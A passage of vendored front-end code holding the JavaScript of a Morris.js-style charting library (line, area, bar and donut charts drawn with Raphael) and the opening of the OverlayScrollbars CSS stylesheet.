										(null != e && e >= d.x)) &&
									d.x >= 0 &&
									d.x + d.width < l.el.width()
										? (0 !== l.options.xLabelAngle &&
												((g =
													(1.25 * l.options.gridTextSize) /
													Math.sin((l.options.xLabelAngle * Math.PI) / 180)),
												(e = d.x - g)),
										  (f = d.x - l.options.xLabelMargin))
										: c.remove()
								);
							},
							d = this.options.parseTime
								? 1 === this.data.length && "auto" === this.options.xLabels
									? [[this.data[0].label, this.data[0].x]]
									: b.labelSeries(
											this.xmin,
											this.xmax,
											this.width,
											this.options.xLabels,
											this.options.xLabelFormat
									  )
								: function () {
										var a, b, c, d;
										for (c = this.data, d = [], a = 0, b = c.length; b > a; a++)
											(g = c[a]), d.push([g.label, g.x]);
										return d;
								  }.call(this),
							d.reverse(),
							k = [],
							i = 0,
							j = d.length;
						j > i;
						i++
					)
						(c = d[i]), k.push(a(c[0], c[1]));
					return k;
				}),
				(c.prototype.drawSeries = function () {
					var a, b, c, d, e, f;
					for (
						this.seriesPoints = [], a = b = d = this.options.ykeys.length - 1;
						0 >= d ? 0 >= b : b >= 0;
						a = 0 >= d ? ++b : --b
					)
						this._drawLineFor(a);
					for (
						f = [], a = c = e = this.options.ykeys.length - 1;
						0 >= e ? 0 >= c : c >= 0;
						a = 0 >= e ? ++c : --c
					)
						f.push(this._drawPointFor(a));
					return f;
				}),
				(c.prototype._drawPointFor = function (a) {
					var b, c, d, e, f, g;
					for (
						this.seriesPoints[a] = [],
							f = this.data,
							g = [],
							d = 0,
							e = f.length;
						e > d;
						d++
					)
						(c = f[d]),
							(b = null),
							null != c._y[a] &&
								(b = this.drawLinePoint(
									c._x,
									c._y[a],
									this.colorFor(c, a, "point"),
									a
								)),
							g.push(this.seriesPoints[a].push(b));
					return g;
				}),
				(c.prototype._drawLineFor = function (a) {
					var b;
					return (
						(b = this.paths[a]),
						null !== b
							? this.drawLinePath(b, this.colorFor(null, a, "line"), a)
							: void 0
					);
				}),
				(c.createPath = function (a, c, d) {
					var e, f, g, h, i, j, k, l, m, n, o, p, q, r;
					for (
						k = "",
							c && (g = b.Line.gradients(a)),
							l = { y: null },
							h = q = 0,
							r = a.length;
						r > q;
						h = ++q
					)
						(e = a[h]),
							null != e.y &&
								(null != l.y
									? c
										? ((f = g[h]),
										  (j = g[h - 1]),
										  (i = (e.x - l.x) / 4),
										  (m = l.x + i),
										  (o = Math.min(d, l.y + i * j)),
										  (n = e.x - i),
										  (p = Math.min(d, e.y - i * f)),
										  (k +=
												"C" +
												m +
												"," +
												o +
												"," +
												n +
												"," +
												p +
												"," +
												e.x +
												"," +
												e.y))
										: (k += "L" + e.x + "," + e.y)
									: (c && null == g[h]) || (k += "M" + e.x + "," + e.y)),
							(l = e);
					return k;
				}),
				(c.gradients = function (a) {
					var b, c, d, e, f, g, h, i;
					for (
						c = function (a, b) {
							return (a.y - b.y) / (a.x - b.x);
						},
							i = [],
							d = g = 0,
							h = a.length;
						h > g;
						d = ++g
					)
						(b = a[d]),
							null != b.y
								? ((e = a[d + 1] || { y: null }),
								  (f = a[d - 1] || { y: null }),
								  null != f.y && null != e.y
										? i.push(c(f, e))
										: null != f.y
										? i.push(c(f, b))
										: null != e.y
										? i.push(c(b, e))
										: i.push(null))
								: i.push(null);
					return i;
				}),
				(c.prototype.hilight = function (a) {
					var b, c, d, e, f;
					if (null !== this.prevHilight && this.prevHilight !== a)
						for (
							b = c = 0, e = this.seriesPoints.length - 1;
							e >= 0 ? e >= c : c >= e;
							b = e >= 0 ? ++c : --c
						)
							this.seriesPoints[b][this.prevHilight] &&
								this.seriesPoints[b][this.prevHilight].animate(
									this.pointShrinkSeries(b)
								);
					if (null !== a && this.prevHilight !== a)
						for (
							b = d = 0, f = this.seriesPoints.length - 1;
							f >= 0 ? f >= d : d >= f;
							b = f >= 0 ? ++d : --d
						)
							this.seriesPoints[b][a] &&
								this.seriesPoints[b][a].animate(this.pointGrowSeries(b));
					return (this.prevHilight = a);
				}),
				(c.prototype.colorFor = function (a, b, c) {
					return "function" == typeof this.options.lineColors
						? this.options.lineColors.call(this, a, b, c)
						: "point" === c
						? this.options.pointFillColors[
								b % this.options.pointFillColors.length
						  ] || this.options.lineColors[b % this.options.lineColors.length]
						: this.options.lineColors[b % this.options.lineColors.length];
				}),
				(c.prototype.drawXAxisLabel = function (a, b, c) {
					return this.raphael
						.text(a, b, c)
						.attr("font-size", this.options.gridTextSize)
						.attr("font-family", this.options.gridTextFamily)
						.attr("font-weight", this.options.gridTextWeight)
						.attr("fill", this.options.gridTextColor);
				}),
				(c.prototype.drawLinePath = function (a, b, c) {
					return this.raphael
						.path(a)
						.attr("stroke", b)
						.attr("stroke-width", this.lineWidthForSeries(c));
				}),
				(c.prototype.drawLinePoint = function (a, b, c, d) {
					return this.raphael
						.circle(a, b, this.pointSizeForSeries(d))
						.attr("fill", c)
						.attr("stroke-width", this.pointStrokeWidthForSeries(d))
						.attr("stroke", this.pointStrokeColorForSeries(d));
				}),
				(c.prototype.pointStrokeWidthForSeries = function (a) {
					return this.options.pointStrokeWidths[
						a % this.options.pointStrokeWidths.length
					];
				}),
				(c.prototype.pointStrokeColorForSeries = function (a) {
					return this.options.pointStrokeColors[
						a % this.options.pointStrokeColors.length
					];
				}),
				(c.prototype.lineWidthForSeries = function (a) {
					return this.options.lineWidth instanceof Array
						? this.options.lineWidth[a % this.options.lineWidth.length]
						: this.options.lineWidth;
				}),
				(c.prototype.pointSizeForSeries = function (a) {
					return this.options.pointSize instanceof Array
						? this.options.pointSize[a % this.options.pointSize.length]
						: this.options.pointSize;
				}),
				(c.prototype.pointGrowSeries = function (a) {
					return Raphael.animation(
						{ r: this.pointSizeForSeries(a) + 3 },
						25,
						"linear"
					);
				}),
				(c.prototype.pointShrinkSeries = function (a) {
					return Raphael.animation(
						{ r: this.pointSizeForSeries(a) },
						25,
						"linear"
					);
				}),
				c
			);
		})(b.Grid)),
		(b.labelSeries = function (c, d, e, f, g) {
			var h, i, j, k, l, m, n, o, p, q, r;
			if (
				((j = (200 * (d - c)) / e),
				(i = new Date(c)),
				(n = b.LABEL_SPECS[f]),
				void 0 === n)
			)
				for (r = b.AUTO_LABEL_ORDER, p = 0, q = r.length; q > p; p++)
					if (((k = r[p]), (m = b.LABEL_SPECS[k]), j >= m.span)) {
						n = m;
						break;
					}
			for (
				void 0 === n && (n = b.LABEL_SPECS.second),
					g && (n = a.extend({}, n, { fmt: g })),
					h = n.start(i),
					l = [];
				(o = h.getTime()) <= d;

			)
				o >= c && l.push([n.fmt(h), o]), n.incr(h);
			return l;
		}),
		(c = function (a) {
			return {
				span: 60 * a * 1e3,
				start: function (a) {
					return new Date(
						a.getFullYear(),
						a.getMonth(),
						a.getDate(),
						a.getHours()
					);
				},
				fmt: function (a) {
					return "" + b.pad2(a.getHours()) + ":" + b.pad2(a.getMinutes());
				},
				incr: function (b) {
					return b.setUTCMinutes(b.getUTCMinutes() + a);
				},
			};
		}),
		(d = function (a) {
			return {
				span: 1e3 * a,
				start: function (a) {
					return new Date(
						a.getFullYear(),
						a.getMonth(),
						a.getDate(),
						a.getHours(),
						a.getMinutes()
					);
				},
				fmt: function (a) {
					return (
						"" +
						b.pad2(a.getHours()) +
						":" +
						b.pad2(a.getMinutes()) +
						":" +
						b.pad2(a.getSeconds())
					);
				},
				incr: function (b) {
					return b.setUTCSeconds(b.getUTCSeconds() + a);
				},
			};
		}),
		(b.LABEL_SPECS = {
			decade: {
				span: 1728e8,
				start: function (a) {
					return new Date(a.getFullYear() - (a.getFullYear() % 10), 0, 1);
				},
				fmt: function (a) {
					return "" + a.getFullYear();
				},
				incr: function (a) {
					return a.setFullYear(a.getFullYear() + 10);
				},
			},
			year: {
				span: 1728e7,
				start: function (a) {
					return new Date(a.getFullYear(), 0, 1);
				},
				fmt: function (a) {
					return "" + a.getFullYear();
				},
				incr: function (a) {
					return a.setFullYear(a.getFullYear() + 1);
				},
			},
			month: {
				span: 24192e5,
				start: function (a) {
					return new Date(a.getFullYear(), a.getMonth(), 1);
				},
				fmt: function (a) {
					return "" + a.getFullYear() + "-" + b.pad2(a.getMonth() + 1);
				},
				incr: function (a) {
					return a.setMonth(a.getMonth() + 1);
				},
			},
			week: {
				span: 6048e5,
				start: function (a) {
					return new Date(a.getFullYear(), a.getMonth(), a.getDate());
				},
				fmt: function (a) {
					return (
						"" +
						a.getFullYear() +
						"-" +
						b.pad2(a.getMonth() + 1) +
						"-" +
						b.pad2(a.getDate())
					);
				},
				incr: function (a) {
					return a.setDate(a.getDate() + 7);
				},
			},
			day: {
				span: 864e5,
				start: function (a) {
					return new Date(a.getFullYear(), a.getMonth(), a.getDate());
				},
				fmt: function (a) {
					return (
						"" +
						a.getFullYear() +
						"-" +
						b.pad2(a.getMonth() + 1) +
						"-" +
						b.pad2(a.getDate())
					);
				},
				incr: function (a) {
					return a.setDate(a.getDate() + 1);
				},
			},
			hour: c(60),
			"30min": c(30),
			"15min": c(15),
			"10min": c(10),
			"5min": c(5),
			minute: c(1),
			"30sec": d(30),
			"15sec": d(15),
			"10sec": d(10),
			"5sec": d(5),
			second: d(1),
		}),
		(b.AUTO_LABEL_ORDER = [
			"decade",
			"year",
			"month",
			"week",
			"day",
			"hour",
			"30min",
			"15min",
			"10min",
			"5min",
			"minute",
			"30sec",
			"15sec",
			"10sec",
			"5sec",
			"second",
		]),
		(b.Area = (function (c) {
			function d(c) {
				var f;
				return this instanceof b.Area
					? ((f = a.extend({}, e, c)),
					  (this.cumulative = !f.behaveLikeLine),
					  "auto" === f.fillOpacity &&
							(f.fillOpacity = f.behaveLikeLine ? 0.8 : 1),
					  d.__super__.constructor.call(this, f),
					  void 0)
					: new b.Area(c);
			}
			var e;
			return (
				h(d, c),
				(e = { fillOpacity: "auto", behaveLikeLine: !1 }),
				(d.prototype.calcPoints = function () {
					var a, b, c, d, e, f, g;
					for (f = this.data, g = [], d = 0, e = f.length; e > d; d++)
						(a = f[d]),
							(a._x = this.transX(a.x)),
							(b = 0),
							(a._y = function () {
								var d, e, f, g;
								for (f = a.y, g = [], d = 0, e = f.length; e > d; d++)
									(c = f[d]),
										this.options.behaveLikeLine
											? g.push(this.transY(c))
											: ((b += c || 0), g.push(this.transY(b)));
								return g;
							}.call(this)),
							g.push((a._ymax = Math.max.apply(Math, a._y)));
					return g;
				}),
				(d.prototype.drawSeries = function () {
					var a, b, c, d, e, f, g, h;
					for (
						this.seriesPoints = [],
							b = this.options.behaveLikeLine
								? function () {
										f = [];
										for (
											var a = 0, b = this.options.ykeys.length - 1;
											b >= 0 ? b >= a : a >= b;
											b >= 0 ? a++ : a--
										)
											f.push(a);
										return f;
								  }.apply(this)
								: function () {
										g = [];
										for (
											var a = (e = this.options.ykeys.length - 1);
											0 >= e ? 0 >= a : a >= 0;
											0 >= e ? a++ : a--
										)
											g.push(a);
										return g;
								  }.apply(this),
							h = [],
							c = 0,
							d = b.length;
						d > c;
						c++
					)
						(a = b[c]),
							this._drawFillFor(a),
							this._drawLineFor(a),
							h.push(this._drawPointFor(a));
					return h;
				}),
				(d.prototype._drawFillFor = function (a) {
					var b;
					return (
						(b = this.paths[a]),
						null !== b
							? ((b +=
									"L" +
									this.transX(this.xmax) +
									"," +
									this.bottom +
									"L" +
									this.transX(this.xmin) +
									"," +
									this.bottom +
									"Z"),
							  this.drawFilledPath(b, this.fillForSeries(a)))
							: void 0
					);
				}),
				(d.prototype.fillForSeries = function (a) {
					var b;
					return (
						(b = Raphael.rgb2hsl(this.colorFor(this.data[a], a, "line"))),
						Raphael.hsl(
							b.h,
							this.options.behaveLikeLine ? 0.9 * b.s : 0.75 * b.s,
							Math.min(
								0.98,
								this.options.behaveLikeLine ? 1.2 * b.l : 1.25 * b.l
							)
						)
					);
				}),
				(d.prototype.drawFilledPath = function (a, b) {
					return this.raphael
						.path(a)
						.attr("fill", b)
						.attr("fill-opacity", this.options.fillOpacity)
						.attr("stroke", "none");
				}),
				d
			);
		})(b.Line)),
		(b.Bar = (function (c) {
			function d(c) {
				return (
					(this.onHoverOut = f(this.onHoverOut, this)),
					(this.onHoverMove = f(this.onHoverMove, this)),
					(this.onGridClick = f(this.onGridClick, this)),
					this instanceof b.Bar
						? (d.__super__.constructor.call(
								this,
								a.extend({}, c, { parseTime: !1 })
						  ),
						  void 0)
						: new b.Bar(c)
				);
			}
			return (
				h(d, c),
				(d.prototype.init = function () {
					return (
						(this.cumulative = this.options.stacked),
						"always" !== this.options.hideHover
							? ((this.hover = new b.Hover({ parent: this.el })),
							  this.on("hovermove", this.onHoverMove),
							  this.on("hoverout", this.onHoverOut),
							  this.on("gridclick", this.onGridClick))
							: void 0
					);
				}),
				(d.prototype.defaults = {
					barSizeRatio: 0.75,
					barGap: 3,
					barColors: [
						"#0b62a4",
						"#7a92a3",
						"#4da74d",
						"#afd8f8",
						"#edc240",
						"#cb4b4b",
						"#9440ed",
					],
					barOpacity: 1,
					barRadius: [0, 0, 0, 0],
					xLabelMargin: 50,
				}),
				(d.prototype.calc = function () {
					var a;
					return (
						this.calcBars(),
						this.options.hideHover === !1
							? (a = this.hover).update.apply(
									a,
									this.hoverContentForRow(this.data.length - 1)
							  )
							: void 0
					);
				}),
				(d.prototype.calcBars = function () {
					var a, b, c, d, e, f, g;
					for (f = this.data, g = [], a = d = 0, e = f.length; e > d; a = ++d)
						(b = f[a]),
							(b._x = this.left + (this.width * (a + 0.5)) / this.data.length),
							g.push(
								(b._y = function () {
									var a, d, e, f;
									for (e = b.y, f = [], a = 0, d = e.length; d > a; a++)
										(c = e[a]),
											null != c ? f.push(this.transY(c)) : f.push(null);
									return f;
								}.call(this))
							);
					return g;
				}),
				(d.prototype.draw = function () {
					var a;
					return (
						((a = this.options.axes) === !0 || "both" === a || "x" === a) &&
							this.drawXAxis(),
						this.drawSeries()
					);
				}),
				(d.prototype.drawXAxis = function () {
					var a, b, c, d, e, f, g, h, i, j, k, l, m;
					for (
						j =
							this.bottom +
							(this.options.xAxisLabelTopPadding || this.options.padding / 2),
							g = null,
							f = null,
							m = [],
							a = k = 0,
							l = this.data.length;
						l >= 0 ? l > k : k > l;
						a = l >= 0 ? ++k : --k
					)
						(h = this.data[this.data.length - 1 - a]),
							(b = this.drawXAxisLabel(h._x, j, h.label)),
							(i = b.getBBox()),
							b.transform("r" + -this.options.xLabelAngle),
							(c = b.getBBox()),
							b.transform("t0," + c.height / 2 + "..."),
							0 !== this.options.xLabelAngle &&
								((e =
									-0.5 *
									i.width *
									Math.cos((this.options.xLabelAngle * Math.PI) / 180)),
								b.transform("t" + e + ",0...")),
							(null == g || g >= c.x + c.width || (null != f && f >= c.x)) &&
							c.x >= 0 &&
							c.x + c.width < this.el.width()
								? (0 !== this.options.xLabelAngle &&
										((d =
											(1.25 * this.options.gridTextSize) /
											Math.sin((this.options.xLabelAngle * Math.PI) / 180)),
										(f = c.x - d)),
								  m.push((g = c.x - this.options.xLabelMargin)))
								: m.push(b.remove());
					return m;
				}),
				(d.prototype.drawSeries = function () {
					var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o;
					return (
						(c = this.width / this.options.data.length),
						(h = this.options.stacked ? 1 : this.options.ykeys.length),
						(a =
							(c * this.options.barSizeRatio - this.options.barGap * (h - 1)) /
							h),
						this.options.barSize && (a = Math.min(a, this.options.barSize)),
						(l = c - a * h - this.options.barGap * (h - 1)),
						(g = l / 2),
						(o = this.ymin <= 0 && this.ymax >= 0 ? this.transY(0) : null),
						(this.bars = function () {
							var h, l, p, q;
							for (
								p = this.data, q = [], d = h = 0, l = p.length;
								l > h;
								d = ++h
							)
								(i = p[d]),
									(e = 0),
									q.push(
										function () {
											var h, l, p, q;
											for (
												p = i._y, q = [], j = h = 0, l = p.length;
												l > h;
												j = ++h
											)
												(n = p[j]),
													null !== n
														? (o
																? ((m = Math.min(n, o)), (b = Math.max(n, o)))
																: ((m = n), (b = this.bottom)),
														  (f = this.left + d * c + g),
														  this.options.stacked ||
																(f += j * (a + this.options.barGap)),
														  (k = b - m),
														  this.options.verticalGridCondition &&
																this.options.verticalGridCondition(i.x) &&
																this.drawBar(
																	this.left + d * c,
																	this.top,
																	c,
																	Math.abs(this.top - this.bottom),
																	this.options.verticalGridColor,
																	this.options.verticalGridOpacity,
																	this.options.barRadius
																),
														  this.options.stacked && (m -= e),
														  this.drawBar(
																f,
																m,
																a,
																k,
																this.colorFor(i, j, "bar"),
																this.options.barOpacity,
																this.options.barRadius
														  ),
														  q.push((e += k)))
														: q.push(null);
											return q;
										}.call(this)
									);
							return q;
						}.call(this))
					);
				}),
				(d.prototype.colorFor = function (a, b, c) {
					var d, e;
					return "function" == typeof this.options.barColors
						? ((d = { x: a.x, y: a.y[b], label: a.label }),
						  (e = {
								index: b,
								key: this.options.ykeys[b],
								label: this.options.labels[b],
						  }),
						  this.options.barColors.call(this, d, e, c))
						: this.options.barColors[b % this.options.barColors.length];
				}),
				(d.prototype.hitTest = function (a) {
					return 0 === this.data.length
						? null
						: ((a = Math.max(Math.min(a, this.right), this.left)),
						  Math.min(
								this.data.length - 1,
								Math.floor((a - this.left) / (this.width / this.data.length))
						  ));
				}),
				(d.prototype.onGridClick = function (a, b) {
					var c;
					return (
						(c = this.hitTest(a)), this.fire("click", c, this.data[c].src, a, b)
					);
				}),
				(d.prototype.onHoverMove = function (a) {
					var b, c;
					return (
						(b = this.hitTest(a)),
						(c = this.hover).update.apply(c, this.hoverContentForRow(b))
					);
				}),
				(d.prototype.onHoverOut = function () {
					return this.options.hideHover !== !1 ? this.hover.hide() : void 0;
				}),
				(d.prototype.hoverContentForRow = function (a) {
					var b, c, d, e, f, g, h, i;
					for (
						d = this.data[a],
							b = "<div class='morris-hover-row-label'>" + d.label + "</div>",
							i = d.y,
							c = g = 0,
							h = i.length;
						h > g;
						c = ++g
					)
						(f = i[c]),
							(b +=
								"<div class='morris-hover-point' style='color: " +
								this.colorFor(d, c, "label") +
								"'>\n  " +
								this.options.labels[c] +
								":\n  " +
								this.yLabelFormat(f) +
								"\n</div>");
					return (
						"function" == typeof this.options.hoverCallback &&
							(b = this.options.hoverCallback(a, this.options, b, d.src)),
						(e = this.left + ((a + 0.5) * this.width) / this.data.length),
						[b, e]
					);
				}),
				(d.prototype.drawXAxisLabel = function (a, b, c) {
					var d;
					return (d = this.raphael
						.text(a, b, c)
						.attr("font-size", this.options.gridTextSize)
						.attr("font-family", this.options.gridTextFamily)
						.attr("font-weight", this.options.gridTextWeight)
						.attr("fill", this.options.gridTextColor));
				}),
				(d.prototype.drawBar = function (a, b, c, d, e, f, g) {
					var h, i;
					return (
						(h = Math.max.apply(Math, g)),
						(i =
							0 === h || h > d
								? this.raphael.rect(a, b, c, d)
								: this.raphael.path(this.roundedRect(a, b, c, d, g))),
						i.attr("fill", e).attr("fill-opacity", f).attr("stroke", "none")
					);
				}),
				(d.prototype.roundedRect = function (a, b, c, d, e) {
					return (
						null == e && (e = [0, 0, 0, 0]),
						[
							"M",
							a,
							e[0] + b,
							"Q",
							a,
							b,
							a + e[0],
							b,
							"L",
							a + c - e[1],
							b,
							"Q",
							a + c,
							b,
							a + c,
							b + e[1],
							"L",
							a + c,
							b + d - e[2],
							"Q",
							a + c,
							b + d,
							a + c - e[2],
							b + d,
							"L",
							a + e[3],
							b + d,
							"Q",
							a,
							b + d,
							a,
							b + d - e[3],
							"Z",
						]
					);
				}),
				d
			);
		})(b.Grid)),
		(b.Donut = (function (c) {
			function d(c) {
				(this.resizeHandler = f(this.resizeHandler, this)),
					(this.select = f(this.select, this)),
					(this.click = f(this.click, this));
				var d = this;
				if (!(this instanceof b.Donut)) return new b.Donut(c);
				if (
					((this.options = a.extend({}, this.defaults, c)),
					(this.el =
						"string" == typeof c.element
							? a(document.getElementById(c.element))
							: a(c.element)),
					null === this.el || 0 === this.el.length)
				)
					throw new Error("Graph placeholder not found.");
				void 0 !== c.data &&
					0 !== c.data.length &&
					((this.raphael = new Raphael(this.el[0])),
					this.options.resize &&
						a(window).bind("resize", function () {
							return (
								null != d.timeoutId && window.clearTimeout(d.timeoutId),
								(d.timeoutId = window.setTimeout(d.resizeHandler, 100))
							);
						}),
					this.setData(c.data));
			}
			return (
				h(d, c),
				(d.prototype.defaults = {
					colors: [
						"#0B62A4",
						"#3980B5",
						"#679DC6",
						"#95BBD7",
						"#B0CCE1",
						"#095791",
						"#095085",
						"#083E67",
						"#052C48",
						"#042135",
					],
					backgroundColor: "#17181c",
					labelColor: "#000000",
					formatter: b.commas,
					resize: !1,
				}),
				(d.prototype.redraw = function () {
					var a,
						c,
						d,
						e,
						f,
						g,
						h,
						i,
						j,
						k,
						l,
						m,
						n,
						o,
						p,
						q,
						r,
						s,
						t,
						u,
						v,
						w,
						x;
					for (
						this.raphael.clear(),
							c = this.el.width() / 2,
							d = this.el.height() / 2,
							n = (Math.min(c, d) - 10) / 3,
							l = 0,
							u = this.values,
							o = 0,
							r = u.length;
						r > o;
						o++
					)
						(m = u[o]), (l += m);
					for (
						i = 5 / (2 * n),
							a = 1.9999 * Math.PI - i * this.data.length,
							g = 0,
							f = 0,
							this.segments = [],
							v = this.values,
							e = p = 0,
							s = v.length;
						s > p;
						e = ++p
					)
						(m = v[e]),
							(j = g + i + a * (m / l)),
							(k = new b.DonutSegment(
								c,
								d,
								2 * n,
								n,
								g,
								j,
								this.data[e].color ||
									this.options.colors[f % this.options.colors.length],
								this.options.backgroundColor,
								f,
								this.raphael
							)),
							k.render(),
							this.segments.push(k),
							k.on("hover", this.select),
							k.on("click", this.click),
							(g = j),
							(f += 1);
					for (
						this.text1 = this.drawEmptyDonutLabel(
							c,
							d - 10,
							this.options.labelColor,
							10,
							400
						),
							this.text2 = this.drawEmptyDonutLabel(
								c,
								d + 10,
								this.options.labelColor,
								12
							),
							h = Math.max.apply(Math, this.values),
							f = 0,
							w = this.values,
							x = [],
							q = 0,
							t = w.length;
						t > q;
						q++
					) {
						if (((m = w[q]), m === h)) {
							this.select(f);
							break;
						}
						x.push((f += 1));
					}
					return x;
				}),
				(d.prototype.setData = function (a) {
					var b;
					return (
						(this.data = a),
						(this.values = function () {
							var a, c, d, e;
							for (d = this.data, e = [], a = 0, c = d.length; c > a; a++)
								(b = d[a]), e.push(parseFloat(b.value));
							return e;
						}.call(this)),
						this.redraw()
					);
				}),
				(d.prototype.click = function (a) {
					return this.fire("click", a, this.data[a]);
				}),
				(d.prototype.select = function (a) {
					var b, c, d, e, f, g;
					for (g = this.segments, e = 0, f = g.length; f > e; e++)
						(c = g[e]), c.deselect();
					return (
						(d = this.segments[a]),
						d.select(),
						(b = this.data[a]),
						this.setLabels(b.label, this.options.formatter(b.value, b))
					);
				}),
				(d.prototype.setLabels = function (a, b) {
					var c, d, e, f, g, h, i, j;
					return (
						(c =
							(2 * (Math.min(this.el.width() / 2, this.el.height() / 2) - 10)) /
							3),
						(f = 1.8 * c),
						(e = c / 2),
						(d = c / 3),
						this.text1.attr({ text: a, transform: "" }),
						(g = this.text1.getBBox()),
						(h = Math.min(f / g.width, e / g.height)),
						this.text1.attr({
							transform:
								"S" +
								h +
								"," +
								h +
								"," +
								(g.x + g.width / 2) +
								"," +
								(g.y + g.height),
						}),
						this.text2.attr({ text: b, transform: "" }),
						(i = this.text2.getBBox()),
						(j = Math.min(f / i.width, d / i.height)),
						this.text2.attr({
							transform:
								"S" + j + "," + j + "," + (i.x + i.width / 2) + "," + i.y,
						})
					);
				}),
				(d.prototype.drawEmptyDonutLabel = function (a, b, c, d, e) {
					var f;
					return (
						(f = this.raphael
							.text(a, b, "")
							.attr("font-size", d)
							.attr("fill", c)),
						null != e && f.attr("font-weight", e),
						f
					);
				}),
				(d.prototype.resizeHandler = function () {
					return (
						(this.timeoutId = null),
						this.raphael.setSize(this.el.width(), this.el.height()),
						this.redraw()
					);
				}),
				d
			);
		})(b.EventEmitter)),
		(b.DonutSegment = (function (a) {
			function b(a, b, c, d, e, g, h, i, j, k) {
				(this.cx = a),
					(this.cy = b),
					(this.inner = c),
					(this.outer = d),
					(this.color = h),
					(this.backgroundColor = i),
					(this.index = j),
					(this.raphael = k),
					(this.deselect = f(this.deselect, this)),
					(this.select = f(this.select, this)),
					(this.sin_p0 = Math.sin(e)),
					(this.cos_p0 = Math.cos(e)),
					(this.sin_p1 = Math.sin(g)),
					(this.cos_p1 = Math.cos(g)),
					(this.is_long = g - e > Math.PI ? 1 : 0),
					(this.path = this.calcSegment(
						this.inner + 3,
						this.inner + this.outer - 5
					)),
					(this.selectedPath = this.calcSegment(
						this.inner + 3,
						this.inner + this.outer
					)),
					(this.hilight = this.calcArc(this.inner));
			}
			return (
				h(b, a),
				(b.prototype.calcArcPoints = function (a) {
					return [
						this.cx + a * this.sin_p0,
						this.cy + a * this.cos_p0,
						this.cx + a * this.sin_p1,
						this.cy + a * this.cos_p1,
					];
				}),
				(b.prototype.calcSegment = function (a, b) {
					var c, d, e, f, g, h, i, j, k, l;
					return (
						(k = this.calcArcPoints(a)),
						(c = k[0]),
						(e = k[1]),
						(d = k[2]),
						(f = k[3]),
						(l = this.calcArcPoints(b)),
						(g = l[0]),
						(i = l[1]),
						(h = l[2]),
						(j = l[3]),
						"M" +
							c +
							"," +
							e +
							("A" + a + "," + a + ",0," + this.is_long + ",0," + d + "," + f) +
							("L" + h + "," + j) +
							("A" + b + "," + b + ",0," + this.is_long + ",1," + g + "," + i) +
							"Z"
					);
				}),
				(b.prototype.calcArc = function (a) {
					var b, c, d, e, f;
					return (
						(f = this.calcArcPoints(a)),
						(b = f[0]),
						(d = f[1]),
						(c = f[2]),
						(e = f[3]),
						"M" +
							b +
							"," +
							d +
							("A" + a + "," + a + ",0," + this.is_long + ",0," + c + "," + e)
					);
				}),
				(b.prototype.render = function () {
					var a = this;
					return (
						(this.arc = this.drawDonutArc(this.hilight, this.color)),
						(this.seg = this.drawDonutSegment(
							this.path,
							this.color,
							this.backgroundColor,
							function () {
								return a.fire("hover", a.index);
							},
							function () {
								return a.fire("click", a.index);
							}
						))
					);
				}),
				(b.prototype.drawDonutArc = function (a, b) {
					return this.raphael
						.path(a)
						.attr({ stroke: b, "stroke-width": 2, opacity: 0 });
				}),
				(b.prototype.drawDonutSegment = function (a, b, c, d, e) {
					return this.raphael
						.path(a)
						.attr({ fill: b, stroke: c, "stroke-width": 3 })
						.hover(d)
						.click(e);
				}),
				(b.prototype.select = function () {
					return this.selected
						? void 0
						: (this.seg.animate({ path: this.selectedPath }, 150, "<>"),
						  this.arc.animate({ opacity: 1 }, 150, "<>"),
						  (this.selected = !0));
				}),
				(b.prototype.deselect = function () {
					return this.selected
						? (this.seg.animate({ path: this.path }, 150, "<>"),
						  this.arc.animate({ opacity: 0 }, 150, "<>"),
						  (this.selected = !1))
						: void 0;
				}),
				b
			);
		})(b.EventEmitter));
}.call(this));
vendor/overlay-scroll/OverlayScrollbars.min.css000066600000052777151150442740016013 0ustar00/*!
 * OverlayScrollbars
 * https://github.com/KingSora/OverlayScrollbars
 *
 * Version: 1.13.0
 *
 * Copyright KingSora | Rene Haas.
 * https://github.com/KingSora
 *
 * Released under the MIT license.
 * Date: 02.08.2020
 */
html.os-html,
html.os-html > .os-host {
	display: block;
	overflow: hidden;
	box-sizing: border-box;
	height: 100% !important;
	width: 100% !important;
	min-width: 100% !important;
	min-height: 100% !important;
	margin: 0 !important;
	position: absolute !important;
}
html.os-html > .os-host > .os-padding {
	position: absolute;
}
body.os-dragging,
body.os-dragging * {
	cursor: default;
}
.os-host,
.os-host-textarea {
	position: relative;
	overflow: visible !important;
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column;
	-ms-flex-wrap: nowrap;
	flex-wrap: nowrap;
	-webkit-box-pack: start;
	-ms-flex-pack: start;
	justify-content: flex-start;
	-ms-flex-line-pack: start;
	align-content: flex-start;
	-webkit-box-align: start;
	-ms-flex-align: start;
	-ms-grid-row-align: flex-start;
	align-items: flex-start;
}
.os-host-flexbox {
	overflow: hidden !important;
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
}
.os-host-flexbox > .os-size-auto-observer {
	height: inherit !important;
}
.os-host-flexbox > .os-content-glue {
	-webkit-box-flex: 1;
	-ms-flex-positive: 1;
	flex-grow: 1;
	-ms-flex-negative: 0;
	flex-shrink: 0;
}
.os-host-flexbox > .os-size-auto-observer,
.os-host-flexbox > .os-content-glue {
	min-height: 0;
	min-width: 0;
	-webkit-box-flex: 0;
	-ms-flex-positive: 0;
	flex-grow: 0;
	-ms-flex-negative: 1;
	flex-shrink: 1;
	-ms-flex-preferred-size: auto;
	flex-basis: auto;
}
#os-dummy-scrollbar-size {
	position: fixed;
	opacity: 0;
	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
	visibility: hidden;
	overflow: scroll;
	height: 500px;
	width: 500px;
}
#os-dummy-scrollbar-size > div {
	width: 200%;
	height: 200%;
	margin: 10px 0;
}
#os-dummy-scrollbar-size:before,
#os-dummy-scrollbar-size:after,
.os-content:before,
.os-content:after {
	content: "";
	display: table;
	width: 0.01px;
	height: 0.01px;
	line-height: 0;
	font-size: 0;
	flex-grow: 0;
	flex-shrink: 0;
	visibility: hidden;
}
#os-dummy-scrollbar-size,
.os-viewport {
	-ms-overflow-style: scrollbar !important;
}
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size,
.os-viewport-native-scrollbars-invisible.os-viewport {
	scrollbar-width: none !important;
}
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar,
.os-viewport-native-scrollbars-invisible.os-viewport::-webkit-scrollbar,
.os-viewport-native-scrollbars-invisible#os-dummy-scrollbar-size::-webkit-scrollbar-corner,
